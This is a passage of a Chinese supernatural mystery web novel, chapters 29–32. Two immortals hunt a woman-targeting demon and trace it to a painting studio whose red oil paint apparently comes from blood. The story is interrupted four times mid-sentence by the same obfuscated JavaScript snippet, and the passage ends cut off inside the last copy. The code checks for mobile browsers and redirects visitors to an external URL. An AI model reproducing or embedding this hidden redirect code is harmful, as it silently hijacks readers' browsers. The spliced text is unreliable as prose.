它本来正绕着租界边缘的纺织厂溜达，在林疏与姬悬月跑着追上来后，它忙不迭顺着路朝东边逃去。 而林疏和姬悬月又追去出大概二十分钟后，林疏终于意识到，凭借他们二人的速度是追不上食人魔了。 遂停了下来，隔着一座院落与那食人魔遥遥相望。 食人魔像是很不舍得他们似的，在前面挑衅地左右乱晃，最后消失在夜幕中。 林疏捏了捏姬悬月的手轻声道：“隐身符时间快到了，我们必须马上回去。” 姬悬月压低声音道：“这里似乎……是个窑子。” 林疏一愣，侧耳细听，果然在脚下的屋子里听到了一些不能过审的声音。 姬悬月道：“它这一路，经过的都是女人多的地方。” 林疏心念电转，道：“先回去，再复盘。” 两人紧赶慢赶，一路跑回租界内他们下榻的旅店，却发现并没有想象中那么远。 因为符纸的作用力居然还没消失。 林疏觉得古怪，便摘了符纸，去拧亮了煤油灯，他记得旅店房间里有租界地图。 昏暗灯光下，林疏很快找到房间墙上贴着的，一张泛黄的鹤城地图。 他便以手指代笔，在地图上沿着他们一路追过去的路线，勾画了一番。 食人魔抛尸后，先去了西洋教堂。 那里有女校，很有可能是寄宿制，或者有寄宿在教堂的女学生，而且——有修女。 第二站，是百乐门那条街后面的弄堂。 林疏本来没想那么多，但姬悬月提到“女人”后，林疏反应过来，百乐门的许多舞女似乎都住在那弄堂里。 而后，食人魔就出了租界，沿着边缘的纺织厂绕了一周。 纺织厂最多的，也是女工。 最后就是那租界外、鹤城郊区的黑窑子， 从地理位置上看，主要面对的顾客大概不是什么雅客，应该是码头的船工。 女学生，修女，舞女，女工，妓|女。 这个食人魔……是有计划地在挑选下手对象吗？ 真让人恶心。 林疏啧了一声，他虽然天生对女性没有性趣，但内心是很崇敬女性的。 遇到像这样的、专逮着女性当受害人的魔物，林疏心中本能地产生鄙视。 姬悬月倒了杯水递给林疏，站在他身边道：“追着食人魔跑了这一趟，我只觉得，它是在耍我们。” 林疏泯了一口水道：“它绕来绕去，绝不是因为迷路，也不是要甩开我们。它甚至有意让我们追上他。” 姬悬月道：“我猜它是在挑选下一个目标，而且，它有绝对的自信不会让我们追到。” 林疏道：“如果它一直藏在郊区，那就难办了。但话又说回来了，如果它一直就藏在郊区，那藏匿岂不是更简单？在这种乱世，它闹出多少人命也有办法遮掩。” “除非，它的胃口刁钻，不爱吃自己选择之外的猎物。”姬悬月摩挲着下巴。 他的腮帮上已经长出了些许胡茬，摸着还有些扎手：“所以，它最开始，一定是在租界诞生的。” 林疏喃喃道：“魔……通常是活人所化。租界，活人，颜料，女学生……” “那幅画。”林疏果断喝干茶杯里的水，一锤定音道，“明天去找顾临，把租界翻过来也要找到他！” “好。”姬悬月点头，并接过他手中的空杯子。 豪情壮志说完了，林疏抬头看看姬悬月，发现他冒出小胡茬的下巴，突然一愣：“哎，你该刮胡子了。” 姬悬月摸摸下巴，无奈道：“我几百年没有长过胡子了。” 林疏笑着从袖子里掏出一个电动剃须刀：“限定版胡茬。喏，不喜欢的话就刮掉。会用吗？” 姬悬月诚实地摇摇头：“不会。”其实他更好奇的是林疏包罗万象的袖子。 林疏于是教姬悬月打开剃须刀开关，往脸上按。但是按了几次，都没能刮掉半根毛。 林疏：“……” 林疏尴尬道：“我化形之后就没长过胡子了……你也知道，仙家一般都能控制自己的体毛，我其实也不太会刮胡子……” 姬悬月心里笑得快昏过去了，表面上却只是垂下睫毛，温和地笑道：“没关系，我自己研究一下。” 然后林疏就红着脸跑了。 约五分钟后，恢复清爽干净的姬悬月从盥洗室走出来，就瞧见林疏已经裹着被子躺好了，这次他躺在了里头。 姬悬月便也脱掉外衣，拧灭煤油灯，然后盖上被子躺在了他旁边。 林疏的眼睛闭着，眼皮却一个劲儿地动，他根本睡不着。 一闭上眼，就想起他蓄完绳子，不小心跌进姬悬月怀里的场景。 姬悬月的手原来那么大啊，两只手一合，几乎把他的腰整个握住了。 而且……还有了非常熨热的温度，烫得他现在还有点浑身发软。 林疏越想这些，身上就越僵硬，他不由得转过身去，背对着姬悬月。 一定是孤寡太久了……对个鬼都能发|情。林疏唾弃着自己，并在内心勒令自己一定不能表露出痴汉的本性。 他只是馋姬悬月身子而已，颜控是这样的，他的内心还是很忠贞的！ 而且，姬悬月有姬悬月的目标，他有他的职责。 一个要赎清血孽，转世投胎；一个要积攒功德，位列仙班。 总之，血孽和天狐，根本不可能走到一起好嘛！！！ 正胡思乱想着，林疏发觉身后的姬悬月似乎也转了个身，但他不知道姬悬月是朝哪边转的。 直觉告诉他，姬悬月是面向他。 那岂不是……姬悬月就像是在背后搂着他一样？ 林疏这样一想，脸上就更热了，但他不敢动，也不敢转身，生怕一转过去，就和姬悬月四目相对。 那也太尴尬了…… 林疏在心里默念着平心静气心如止水平心静气心如止水……来来回回念了有几百遍，终于做足了思想准备，轻轻翻了个身——先仰躺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883378|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着，看看形式。 然后林疏就发现，姬悬月其实是背对着他的。 林疏不住瞟姬悬月的背影，最后自己耐不住性子，朝姬悬月转了过去。 姬悬月的头发被林疏剪得有些参差不齐，但这个后脑勺依旧是好看的。 他的颈子也很修长，肩膀很宽，腰臀却收得很窄，脊背上肌肉的线条薄削流畅。 他不是那种gay们钟爱的肌肉男，他的背脊甚至是清瘦的。 林疏在黑夜里借着星光不住打量姬悬月的轮廓，他一开始还觉得心里有些痒痒的，想伸手去戳一下姬悬月的背。 但寂静的空气和姬悬月绵长的呼吸，让林疏没敢伸手。 又过了会儿，在这样长久的沉寂中，他突然觉得心里有一块地方空了。 好像曾经被填满过——在他不知道的时候，被姬悬月填得很满过。 或许不是爱情，只是他寂寞久了，突然和姬悬月吵吵闹闹地待在一起，自然而然就圆满了。 但这无边漆黑的深夜里，他突然好像从一个美梦里醒来。 他知道，姬悬月不是属于他的，无论过去还是未来，都不会是属于他的。 因为，他和姬悬月一样，各自都有爱人。 哪怕各自的爱人都死了，甚至都从记忆里被抹掉了。 但林疏不能原谅自己居然用其他人的身影来填满自己的空缺。 他倏地转过身，背对着姬悬月，闭上了眼睛。 他是个坏狐狸。 背对着林疏的姬悬月，眼睛其实一直是睁开的。 他的呼吸非常均匀，装着自己睡得很香的样子。 如果假装，可以留在林疏身边，他愿意一直装到自己灰飞烟灭的那一天。 …… 第二天，几乎是天还没亮，林疏和姬悬月就都起来了。 他们扒着窗户往下面看过，昨夜出现的第二具尸体，已经被警察们严丝合缝围了起来。 林疏本来并没打算去查看这第二具尸体。 如今的线索指向郊外，他们要的又不是查看尸体生前是什么人。 但周围的议论声太大，林疏和姬悬月拉低帽檐经过时，就听到了一些不一样的声音。 “这次怎么没有血？” “不知道，是放干了才送来的吗？” “会不会和上次不是同一个人……” “看衣服也不是女学生了，倒像个卖的。” 林疏定住脚步，他回想起昨晚，食人魔丢下尸体时，好像确实没有带起来多少血。 姬悬月也听见了这些话，他仗着自己个子高，在外围朝里看了几眼，便回过身对林疏道：“地面确实很干净。” 林疏道一声知道了，就带着姬悬月离开了。 走到没人的地方后，姬悬月问道：“今天我们不去看看尸体吗？” 林疏挠头道：“在警察局那边的信任透支完了，而且白天不方便用溯灵。总之先去找顾临。如果线索不够，我们晚上再偷偷潜入巡捕房的停尸间去看。” 天狐能承受的沙漏翻转，最多是在七次，今天上午再翻转一次，第五天就结束了。 30. 第 30 章 电车站对面，林疏压低了帽子——他终于脱掉了旧道袍，换了一身租界男人常穿的西装。 然后和同样打扮的姬悬月一起在这里蹲点。 上午8点30分。 姬悬月扯了一下林疏的袖子，林疏便朝对面看了一眼—— 顾临像是踩着点出现在了这里。 不同的是，这次他的身边，跟着一位怯生生的姑娘。 林疏想起来，这应该是顾临提过的那个姓周的妹妹。 顾临一直很小声在跟她说这话，但那妹妹好像有些自闭，一直没有开口回答过他。 一双大眼睛骨碌碌打量周围的人和事物，手一直紧紧捏着大襟袄的下摆。 倒像是一直很害怕。 林疏与姬悬月对视一眼，一起朝马路对面走去。 这次必不可能让顾临跑掉！ 在这两人横穿马路的时候，顾临就发现了他们。 但他并没有露出什么奇怪的表情，而是继续与妹妹交谈。 电车很快来了，林疏和姬悬月被挡在路中间。林疏急性子，拉着姬悬月打算绕过去。 但此时，电车鸣笛，姬悬月眼疾手快一扯，突兀启动的电车擦着林疏过去了。 林疏本还不觉，姬悬月的手却死死拽着他，他诧异地扭头，就见姬悬月的脸白了。 这平日仗着美貌而风流肆意的男鬼，突然露出了真切的怒意。 他压着眉毛对林疏道：“你不要命了吗？” 林疏一怔，本能地躲了一下。 姬悬月却就松手了，他垂下睫毛，看向别处：“下次小心点。” 林疏不知道怎么应对这种场面，只能是很承情地点了点头。 而当他们走到马路对面时，顾临也还在原处站着，并没有离开。 他身边多了一个看似路过此地的圆脸少年，穿着格子衬衣和背带裤，正与顾临闲聊。 林疏走近他们的时候，就听见那名戴着金边圆眼镜的少年发出央求的声音：“好顾临，你就跟着去吧！只有你认识的人，没有陌生人，真的！” “聊什么呢？”林疏手插在裤兜里，笑着加入了他们。 眼镜少年被唬了一跳，问顾临道：“你朋友？” 顾临摇头：“不熟。” 林疏却很自来熟，走上去搭上顾临的肩膀：“真巧啊顾小兄弟。” 顾临微微一笑：“不巧，我带妹妹来租界玩。” 说着他不着痕迹推开林疏的手，让出身侧的妹妹来：“这是我妹妹，周弥。” 林疏笑着朝妹妹点点头：“你好，我是你哥哥的朋友，我叫林疏。” 周弥有些慌张，但还是很有礼貌地细声细气道：“林先生您好。” 林疏指指身后的姬悬月：“我的好朋友，穆羽。” ——不能确定民国时期的鹤城人还记不记得“姬悬月”这个凶神的大名，所以“穆羽”这个化名也蛮好用的。 眼镜少年看着林疏和姬悬月气度不凡的模样，就猜测他们可能是什么显贵人家的少爷，他马上扶了一下眼镜腿，道：“你们好，我叫钱志远，租界‘红梅酒家’是我爸开的。” 林疏长长地“哦”了一声，恍然想起红梅酒家的老板好像确实姓钱。 这不是巧了吗！ 林疏马上露出诚恳微笑，跟这名叫做钱志远的少年握手：“幸会幸会，我很喜欢你们家的菜。” ——在21世纪的时候。 钱志远被林疏的笑脸晃得有些不好意思，他看着林疏和姬悬月的打扮，本能问道：“你们不会和温小姐一样，都是留洋回来的吧？” 只有留洋回来的年轻人，才对西装接受良好。 林疏摸摸鼻子：“是啊，刚回鹤城不久，都有些不认识老家的街道了。” 钱志远顿时露出羡慕的神色，他又看向顾临：“顾临，你就去吧，带着你妹妹，还有这两位朋友。” 林疏好奇道：“什么事？” 钱志远就举起右手里一直提着的一个圆礼盒：“我女朋友过生日，我们要去为她庆祝。” 林疏看着那纸盒子的形状，有些意外地道：“这里面不会是生日蛋糕吧？” 钱志远的眼睛亮了：“您认得？也对，你们富家少爷都吃过这个。” 说着，他又拨弄了一下纸盒上的蝴蝶结，有些难为情地低下头：“其实我没吃过，因为这一个蛋糕好贵呢，要二十块。不过萍萍说要吃。” “……”林疏诚恳道，“您的女朋友大概不是姓陆吧？” 钱志远露出茫然神色：“什么？不是啊，她姓梁。” 林疏顿时觉得很寂寞，在场五个人，没有一个能听懂他的梗。 他打算回去后带姬悬月好好补补剧，这样下次就可以陪他一起笑。 钱志远则以为鹤城有什么自己不认识的陆家名媛，马上道：“我不认识陆家人，不过梁家也很厉害了。我听萍萍说，她每天都要吃一块这个。” 说着，他将纸盒放在电车站的长凳上，献宝似的打开蝴蝶结：“我还从没见过这么好看的糕点。周弥妹妹，你也来看看！” 纸盒盖子打开，露出里面精致的奶油蛋糕。 其实相比现代的生日蛋糕，这裱花还是过于俗气和粗陋了。 但周弥和姬悬月看见了，都露出惊叹的表情。 周弥的眼睛都直了。 而姬悬月不动声色咽了口口水。 于是钱志远计划通，在场的另外两名男士都露出了无奈妥协的表情。 顾临有些头疼地捂了捂额头道：“我本来打算带阿弥去‘新世界’的。” 周弥马上退回顾临身边，不再看那蛋糕一眼。 顾临却看着她，眼中露出些许疼惜：“既然阿弥想去，那就……” 周弥的眼睛一下亮了。 “太好了！”钱志远马上高兴地比了个握拳的手势，又看期待地向林疏和姬悬月。 林疏瞧瞧姬悬月，道：“既然钱少爷诚心邀请，我们岂有不去的道理？” 姬悬月正色道：“恭敬不如从命。” 于是一行人跟着兴高采烈的钱志远叫了黄包车。 顾临有自行车，于是他骑着车，跟在后面。 原来他真的会骑车…… 而这边，林疏无论如何觉得自己和姬悬月是靠衣装骗小孩，于是非常慷慨地替所有人掏了车费。 这让钱志远更坚定了，他们两人家底殷实，非富即贵！ … ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883379|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …从某种角度来说，他猜得也没错。 虽然林疏“非富”，但从天狐血脉来说，他还真配得上“即贵”里的贵字。 黄包车沿着江岸朝前跑，晃晃悠悠，颠颠簸簸。 坐在上头看着日头下的鹤城，别有一番景致。 林疏望着滚滚江水，有一瞬间，觉得人生与年华，不过一江水，奔流到海，不能回头。 而姬悬月和周弥都没坐过人力车，难免紧张。 姬悬月还好，定力超强，只是紧紧握着黄包车边缘的手指暴露了他的紧张。 周弥就有些慌张，她不住探头去找顾临的身影。 但租界交通混乱，顾临不敢骑得太快，时不时会与他们拉开距离。 到达目的地后，黄包车停下时，顾临还没有踪影。 周弥急得不断揪扯自己的衣襟，把好好的大襟褂下拜都揉皱了。 钱志远有些局促，他没有过多少和周弥相处的经验， 对顾临这个妹妹，他也只是听说她脑子有点毛病。 林疏见状，就去问钱志远：“这个地方，顾临来过吗？他不会迷路吧？” 钱志远马上摇头：“他不会迷路的，他来过。画斋的主人是温小姐的哥哥，他认识温小姐。” 林疏回头打量这洋房，上面并没有挂什么“画斋”的牌匾。 钱志远可能有些紧张，话匣子直接就打开了，滔滔不绝道：“这个画斋是温小姐的哥哥专门给这些贵族小姐们开的，除去上课的时间，萍萍她们都会来这里画画。” 林疏问道：“画什么画，油画吗？” 钱志远摇头：“不知道甚么‘油画’、‘醋画’的，反正是西洋画。” 他指着洋房二楼的窗户：“你看，二楼就是画室，金贵得很，不让见光的。” 林疏便知道了，的确是油画。 果然跟着顾临走，是能找到东西的。 不多时，顾临也来了，林疏就发现他骑车的姿势不太自然，好像有些不敢往下坐似的。 “路上被一些汽车拦住了。”顾临下了车，抹了一把额头上的汗，“好像是什么大人物出行，十多辆汽车在路上穿过去，老百姓都不让过。” “别说那些了。”钱志远道，“快把你的爱车锁上，萍萍她们都在楼上等着了。” 顾临犹豫了一下，将自行车停在了洋房大门的柱子旁边。 “你不锁上吗？”钱志远奇怪道，“这里可没有守卫，你小心被人家骑走。” 民国时期的自行车还是很金贵的。 钱志远记得自己念书的时候，全班就两个人有自行车。 一个是家底殷实的杜公子，另一个就是顾临。 但顾临也说不清自己的自行车是哪来的，所以班里的同学一开始都以为顾临也是有钱人家的小孩。 后来才发现，他父亲是个穷教书的，母亲是弄堂里给人洗衣做饭的老妈子。 顿时滤镜稀碎，还有人开始欺负顾临，要抢他的车。 后来顾临就不再去学堂了。 往事令人唏嘘。钱志远瞧着顾临锁好了车子，才转过身上前，敲了敲洋房的门。 但门是虚掩着的，他指节在上面轻点了一下，门就朝里开去。 31. 第 31 章 钱志远“咦”了一声，就朝门里迈了进去。 林疏与姬悬月对视一眼，紧随其后。 顾临在门口，看着他们都进去了，才走到自行车边，把本来锁得严严实实的自行车锁，开了一条缝。 然后拉着周弥，迈进了大门。 一进门，钱志远就“嗳”了一声，捂住了鼻子。 林疏和姬悬月也闻到一股刺鼻的颜料味道，这是油画颜料中所用到的，植物油的味道。 钱志远似乎对这画斋并不熟，他探头探脑，推开了两个空屋子的门，只瞧见一堆画材横七竖八堆在里头。 再往里走，倒是豁然开朗。 如钱志远所说，这里的一楼是展厅，他们走到走廊尽头，就进了一个巨大的凹字形房间，两边的墙上都挂满了各式各样的油画。 这个时代的鹤城，中国古典油画才刚刚起步， 因此这画斋中挂的画大多是风景和静物，也有少量的人像。 少，却引人注意，因为这些人像画的内容有些令人脸红。 那大概是出自某位不羁的归国浪子，画面上的人不着寸缕。 钱志远哎呀了一声，顾临下意识去捂周弥的眼睛。 姬悬月看得皱眉，林疏倒是欣赏得津津有味。 他不懂画，但能看得出，画家笔法纯熟，用色十分大胆，而且画面很美。 尤其那幅女子侧卧花丛中的画，女子周围的鸢尾蓝得令人惊叹。 钱志远快步走过了展厅，找到了旋转楼梯。于是众人上楼。 二楼就是画室了。 才上了一半楼梯，钱志远已经听到了女友的声音，他一下子兴奋起来，脚步都快了。 顾临蹙眉道：“你小心打翻蛋糕。” “不会的！”钱志远已经噔噔噔跑上去了。 林疏见他消失在视野中，顾临和周弥也走得飞快，他反而停了下来。 虽然被呛的头疼，但林疏还是细细分辩了一番空气中飘的味道。 是各种油混合的味道，又仿佛不止如此。 而此刻旋转楼梯离那幅画很近——女子侧卧在鸢尾丛中的画。 林疏探出头，去看那些鸢尾花。 和四月一日窄巷瓦片上的残留，还有蓝色玫瑰花，是一样的“蓝铜矿”颜料。 姬悬月低声问：“发现了什么？” 林疏道：“有可能找对地方了。走，去看看。” 两人沿着楼梯向上，很快来到二楼。 二楼的房间是一个一个的小房间，钱志远在前面已经跑得看不见了，顾临和周弥还在慢慢走。 林疏和姬悬月追上去，跟着顾临和周弥进了走廊尽头的一个最大的画室。 画室里还有六七个人，林疏和姬悬月刚进去，就被所有人行了注目礼。 钱志远主动介绍道：“这两位是顾临的朋友，刚留洋回来的。” 大家看林疏和姬悬月的目光瞬间不一样。 林疏撒起谎来完全没有一点心理障碍，笑着走上前道：“听闻是给人庆祝生日，我和穆少就跟着来凑热闹了，大家不会不欢迎吧？” 中间那位簇拥着的娇美少女马上道：“当然不会，既然二位是来给我过生日，我欢迎还来不及。” 钱志远有些骄傲地介绍道：“这位是我的女朋友，梁萍。” 林疏便替自己和姬悬月自报了家门，大家又互通了姓名，彼此勉强算是熟络起来。 梁萍抱怨道：“本来想在展厅里过生日的，可是温表哥……在墙上挂那种画，羞死了。” 一旁有位穿淡蓝色蕾丝洋装的少女微笑道：“阿萍别生气，我会替你打他的。” 钱志远则赶紧举起了手中的蛋糕盒：“没关系萍萍，你喜欢在哪里都可以。这是蛋糕！” 梁萍看着盒子，有些不满：“怎么这么小？我们十多个人，怎么分啊！” 钱志远有些窘迫：“我……我不知道十寸是多大，我还以为有很大……” 梁萍还能不知道钱志远几斤几两，明明就是没钱硬要充大款，就生了气，一跺脚走了，钱志远赶紧上去哄。 这期间顾临始终站在一边，打量画室里的器具。 林疏也在做一样的事，便发现了他的神游天外，凑过去问道：“怎么，顾小兄弟，对油画感兴趣？” 顾临摇了摇头，但伸手指向角落里散乱的空颜料管。 林疏盯着那堆颜料瞧了一眼，发现都是红色。 油画颜料中的红色系种类繁多，但那堆被挤空了的颜料管上，无一例外写的都是“镉红”。 一种血一样的红色。 正瞧着，林疏身后突然响起一个温柔女声：“林先生对油画感兴趣吗？” 刚问过别人的问题，又被问了自己。 林疏微微一笑，回头看着这个蓝裙子的小姑娘：“是啊，温小姐想教教我吗？” 这个蓝裙少女，正是送顾临蓝色玫瑰花的“温小姐”。 也是这个画斋主人的亲妹妹。 她的名字叫温丽雅。 温丽雅促狭道：“二位既然是留学回来，怎么会对油画一窍不通呢？” 林疏笑道：“我和穆少学的是法医和刑侦，哪有一点艺术细胞在身上？温小姐不要笑话我了。” “其实油画很简单的。”温丽雅便引着林疏在画室中慢慢浏览画具，细致地一一讲解它们的作用。 “……这些都是其次，”她弯腰捡起一管颜料，微微一笑，“油画最重要的，是颜料。” 林疏仔细看了看干瘪的铝管：“这些都是镉红。” “是的，”温丽雅随手放下了颜料，“这是十几年前新发现的色素，也是颜料里最纯正的红色，在国内又叫大红。我哥哥这幅画，就是用大量镉红颜料完成的。” 他们已经最后走到画室尽头的一堵墙边，那里立着一幅巨大的画框，上面盖着白布。 温丽雅指着那高约两米的画框：“这也是我哥哥最得意的作品，要看看吗？” 林疏欣然道：“当然。” 跟着温丽雅走过去之前，他回头看了一眼姬悬月。 虽然戴着帽子，但姬悬月的美貌已经成功引起了大部分人的注意。 此刻，姬悬月已经被那群少年男女围住了，他一边面带迷人微笑，应付着少年们的亲近，一边漫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883380|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经心地扫了林疏一眼，用眼神示意林疏放心。 林疏心中不太得劲，但他心说查案重要，就先把注意力放在了温丽雅身上。 温丽雅已经走到那幅画前面，轻轻拉开了上面罩着的白布。 林疏望着那幅画，脸上露出惊叹的神色。 画中是一个穿着红裙的美人，她光着脚，一头铂金色卷发散落着，站在白色城堡的阳台上，正看向远方。 这幅画非常细腻，裙摆的褶皱、红裙美人的发丝、甚至她剔透如蓝水晶的眼眸，都是那样精致和逼真。 画的作者甚至将阳台的每一根白色石柱，都描绘出了清晰而精美的纹路。 而画中美人背对着画面，只给了林疏一个精致完美的侧脸。 林疏望着她清澈的蓝色眼眸，喃喃问道：“她是谁？” 温丽雅道：“玛丽亚王后，我哥哥的缪斯。” 林疏还在感叹这幅画的美丽，听了这个名字却是一愣。 即使玛丽亚这个名字已经烂大街了，但看到如此美丽的红裙女子叫做玛丽亚，林疏率先想起的，是玛丽亚·安托瓦内特王后—— 她拥有和画中相似的铂金色卷发，和湛蓝如晴空的眼睛。 她是法国的最后一位王后，死于法国大革命，又被称为“断头王后”。（注：玛丽亚原型为玛丽·安托瓦内特） 林疏对历史人物不做评价，但这幅画摆在一个有食人魔出没的城市里，说一点关联都没有，林疏是不信的。 再联想到那堆欲盖弥彰的空颜料管，和租界少女们喷溅的血液。 林疏望着眼前王后美艳的大红色长裙，心中有了猜测。 他礼貌地笑了笑，道：“很美。” 温丽雅将白布盖回去，笑道：“我哥哥很看重这幅画，若不是阿萍过生日要借用画斋，他不会给我钥匙。” 林疏却手痒痒的，只想烧个“溯灵符”看看效果。 那边，钱志远终于哄好了他的亲亲女朋友，梁萍回到屋子中间，开始商讨去哪里吃蛋糕。 她于是代替姬悬月，又一次成了众人的焦点。 温丽雅见状，也很快走了过去，与梁萍小声讨论。 而林疏走回姬悬月身边，用胳膊撞了撞姬悬月，促狭道：“怎么样，开心吗？那么多人围着你。” 姬悬月低声道：“快吵死了。” 林疏嘴角控制不住地上扬，轻咳一声道：“马上就结束了。” 梁萍在那边欢欢喜喜指挥男生们搬桌子摆蛋糕，林疏却一闪身，出了画室。 姬悬月上前加入闲聊，努力将所有人注意力都集中在自己身上。 这样就没人注意到林疏离开了。 走廊里，溯灵符静静燃烧，林疏闭着眼睛，双手拈着剑诀，查看这幢洋房里发生的事。 血腥。 死灵。 冤魂的哭泣。 却没有案发现场。 林疏睁开眼，顺着溯灵展现出的一串血色的脚印，沿着走廊，走到了另一端的尽头。 那里有一个紧闭的门，看起来与其他画室并无不同。 林疏轻推一下，门是锁着的。 32. 第 32 章 林疏摸了摸袖子，意识到自己没有穿道袍。 只好从衬衣窄窄的袖子里艰难地用食中二指施展“袖里乾坤术”。 一枚曲别针被两根手指颤巍巍夹住，取出。 林疏弯腰，耐心地撬门。 不多时，随着“咔哒”的轻响，门锁应声而开。 林疏推开门之前，做好了多种心理准备。 但门打开后，他还是惊呆了。 这是一间非常暗的房间，窗户被厚重的绒布窗帘遮着，透出一点点细微的光。 而房间里，摆着许多制作油画颜料的机器。 制作的颜料摆得满地都是——全部是红色的颜料。 有罐装，有管装，有用过一半的，还有很多是在研磨台上，正在制作过程中的。 统统都散发着浓重的血腥味！ 林疏手心捏了把汗，他知道自己撞破了这画斋主人的秘密——他在用特殊的原料，制作油画颜料。 但为什么浑身是血的少女被食人魔送往租界？ 谁是凶手？谁是真正的食人魔？ 门已破了，却无事发生。 没有食人魔出来与他对峙。 林疏便猜测，那温丽雅的哥哥、画斋的主人，此时一定不在这里。 他悄无声息关上了门，整理了一下衣摆和表情，重又回到了众人所在的画室。 因为要过生日，各位少爷小姐们已经拉上了所有窗帘，点亮了蜡烛。 林疏从门缝蹭进来时，他们正在唱生日歌。 场中会唱这首歌的人不多，但没留过洋的少年们也都能跟着那几个会唱的人哼几句。 梁萍在中间闭着眼睛许愿，大家都很高兴。 姬悬月一直在想办法让大家发现不了林疏的离开，此刻见他回来，也松了口气。 便问道：“如何？” 林疏低声道：“是画斋主人。” 姬悬月便明白了，他看看周围，又轻声对林疏道：“顾临应该知道些什么。” 姬悬月的观察力惊人，林疏给姬悬月的任务就是观察顾临。 他问道：“具体呢？” 姬悬月附在林疏耳边：“他盯着那幅画，并且有意识地不让周弥靠近。” 热热的吐息打在林疏耳边，吹得林疏心口一热。 他本能地向后躲了一下，然后道：“顾临在意的只有周弥，看来他知道那幅画有问题。” 姬悬月欣赏林疏发红的耳尖，不动声色，后退了些许。 少年们很快起着哄吹熄了蜡烛，有个手欠的少年去拉开了窗帘。 温丽雅制止不及：“不要全部拉开！” “啊？”少年一愣，这画室两面窗户，他拉开了一个，本能就拉开了另一个。 但灿烂的阳光已经落在盖着白布的画框上。 温丽雅咬着唇，看着阳光照在画上。 她道：“油画不能晒太阳。” 少年哦了一声，又把窗帘拉上了，只留了一面。 林疏眼尖地发现，温丽雅开始焦灼了。 顾临也发现了这一点，他轻轻按了一下周弥的肩膀，示意她先出去。 周弥不愿离开顾临，一步三回头，但是她刚要跨出画室，却被林疏拦住了。 顾临蹙眉，看着他。 林疏就露出个微笑来。 画室里的少年们吵吵嚷嚷着分蛋糕，有笑话钱志远蛋糕买得小的，有说蛋糕看起来不好吃的。 但门口的位置，非常安静。 顾临已经将周弥护在了身后，而林疏与他对视。 顾临终于先开口了：“阿弥没有对不起你们。” 林疏道：“我只是有些事想问你，你答应我，我就让开。” 顾临马上道：“我答应你。” 林疏立即让步，目送顾临将周弥推出去。 顾临将周弥推出去后就关上了画室的门，回头看着林疏。 林疏道：“你为什么怕那幅画？你在怕什么？” 顾临道：“画里的女人，是食人魔。” 他果然知道！ 林疏耐着性子道：“既然你知道，还带你妹妹来？你就不怕食人魔把这整幢房子里的人都杀了吗？” 顾临却笑了。 他眉眼弯弯，目光在林疏和姬悬月之间转了一圈，道：“不会，她胃口有限，这屋子里的尽够了。” 林疏：“？” 他下意识回头数了一下，梁萍，钱志远，温丽雅，顾临。还有三女，四男，再加上他和姬悬月，一共是13个人。 可他和姬悬月不能算在内。 如果事发，他自然不会坐以待毙。 但若食人魔暴起，他不一定护得住这么多凡人。 林疏还想解释，梁萍已经托着一盘蛋糕走过来，走到姬悬月身边，笑眯眯道：“穆先生林先生，给你们的。” 林疏心乱如麻，姬悬月便代他礼貌道谢，接过了那两盘蛋糕。 梁萍眼睛的亮晶晶：“穆先生刚回国不久吗？” 姬悬月点头：“刚回鹤城，不到一周。” 林疏看看他们两人，从梁萍眼睛里看到了浓厚的兴趣。 姬悬月还真是招人喜欢，甚至不分性别。 梁萍往前挪了半步，道：“那穆先生最近都忙些什么？” 林疏在一旁都能看出梁萍满脸的少女心事，更遑论一直跟在她身后的钱志远。 钱志远追过来几步，脸就绿了，失望地看着梁萍的背影。 他眼中光芒从惊讶变成愤怒，又变成哀怨，看得林疏有些哭笑不得。 而这边，姬悬月面对着梁萍，表情却很平静，道：“忙着吃。” 梁萍：“……” 林疏：“……”你还真诚实。 梁萍还想问什么，突然透过画室门上的玻璃窗看到周弥一脸茫然站在外头。 她马上问顾临：“你怎么让你妹妹出去了？” 顾临道：“她说闷，味道难闻。” “哦。”梁萍翻了个白眼，“油画就是这样的，你们这种人闻不习惯也很正常。你还没去过温先生的旧画斋呢，简直被松节油腌入味了。” “旧画斋？”姬悬月马上道，“梁小姐的意思是，这里是新的画斋？” 梁萍见姬悬月有意闲聊，马上换了温柔笑容道：“是啊，温先生在老宅也有个画斋，就是离租界太远了，不方便丽雅和我们过来画画，所以他在租界里弄了新画斋。” 说着，她看了顾临一眼，露出意味深长的笑容：“最近他都在忙着搬颜料呢，这件事，顾临也知道。” 顾临面无表情，眼中却透出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 